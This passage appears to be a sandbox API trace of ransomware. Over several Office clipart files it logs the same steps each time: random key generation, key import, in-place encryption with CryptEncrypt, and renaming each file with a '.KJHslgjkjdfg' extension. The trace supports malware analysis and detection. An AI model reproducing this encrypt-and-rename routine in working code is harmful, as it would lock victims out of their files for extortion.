ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1 [0155.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.728] GetProcessHeap () returned 0x2a0000 [0155.728] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.728] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.728] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.729] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0155.732] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.732] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.732] GetProcessHeap () returned 0x2a0000 [0155.732] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.733] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.733] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.733] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.733] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.733] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.733] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.733] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.733] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.734] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.734] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.734] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.734] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f26, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1f26, lpOverlapped=0x0) returned 1 [0155.741] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f30, dwBufLen=0x1f30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f30) returned 1 [0155.742] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.742] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1f30, lpOverlapped=0x0) returned 1 [0155.742] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.742] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2004, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.742] SetEndOfFile (hFile=0x114) returned 1 [0155.745] GetProcessHeap () returned 0x2a0000 [0155.745] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.745] GetProcessHeap () returned 0x2a0000 [0155.745] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.745] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.kjhslgjkjdfg")) returned 1 [0155.746] CloseHandle (hObject=0x114) returned 1 [0155.747] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60023c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60023c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1 [0155.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.747] GetProcessHeap () returned 0x2a0000 [0155.748] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.748] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.748] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.748] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0155.761] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.761] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.762] GetProcessHeap () returned 0x2a0000 [0155.762] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.762] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.762] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.762] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.762] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.762] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.762] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.762] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.763] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.763] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.763] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.763] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.763] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x94a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x94a, lpOverlapped=0x0) returned 1 [0155.763] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x950, dwBufLen=0x950 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x950) returned 1 [0155.763] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.763] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x950, lpOverlapped=0x0) returned 1 [0155.763] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.763] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.763] SetEndOfFile (hFile=0x114) returned 1 [0155.766] GetProcessHeap () returned 0x2a0000 [0155.766] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.766] GetProcessHeap () returned 0x2a0000 [0155.766] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.766] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.kjhslgjkjdfg")) returned 1 [0155.767] CloseHandle (hObject=0x114) returned 1 [0155.768] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6eb500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c6eb500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1 [0155.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.768] GetProcessHeap () returned 0x2a0000 [0155.768] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.768] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.768] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.769] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0155.772] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.772] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.772] GetProcessHeap () returned 0x2a0000 [0155.772] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.772] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.772] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.772] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.772] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.773] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.773] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.773] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.773] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.773] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.773] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.773] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.773] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x414, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x414, lpOverlapped=0x0) returned 1 [0155.773] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x420, dwBufLen=0x420 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x420) returned 1 [0155.773] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.773] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x420, lpOverlapped=0x0) returned 1 [0155.773] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.774] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.774] SetEndOfFile (hFile=0x114) returned 1 [0155.776] GetProcessHeap () returned 0x2a0000 [0155.777] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.777] GetProcessHeap () returned 0x2a0000 [0155.777] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.777] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.kjhslgjkjdfg")) returned 1 [0155.778] CloseHandle (hObject=0x114) returned 1 [0155.778] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5295200, ftCreationTime.dwHighDateTime=0x1bd4b23, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5295200, ftLastWriteTime.dwHighDateTime=0x1bd4b23, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1 [0155.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.779] GetProcessHeap () returned 0x2a0000 [0155.779] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.779] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.779] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.779] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0155.823] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.823] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.823] GetProcessHeap () returned 0x2a0000 [0155.823] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.824] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.824] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.824] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.824] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.824] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.824] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.824] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.824] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.824] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.824] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.825] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.825] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x876, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x876, lpOverlapped=0x0) returned 1 [0155.825] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x880, dwBufLen=0x880 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x880) returned 1 [0155.825] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.825] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x880, lpOverlapped=0x0) returned 1 [0155.825] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.825] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.825] SetEndOfFile (hFile=0x114) returned 1 [0155.827] GetProcessHeap () returned 0x2a0000 [0155.827] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.828] GetProcessHeap () returned 0x2a0000 [0155.828] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.828] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.kjhslgjkjdfg")) returned 1 [0155.829] CloseHandle (hObject=0x114) returned 1 [0155.829] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99a2a00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99a2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1 [0155.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.836] GetProcessHeap () returned 0x2a0000 [0155.836] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.836] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.836] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.836] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.836] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.836] GetProcessHeap () returned 0x2a0000 [0155.836] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.836] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, 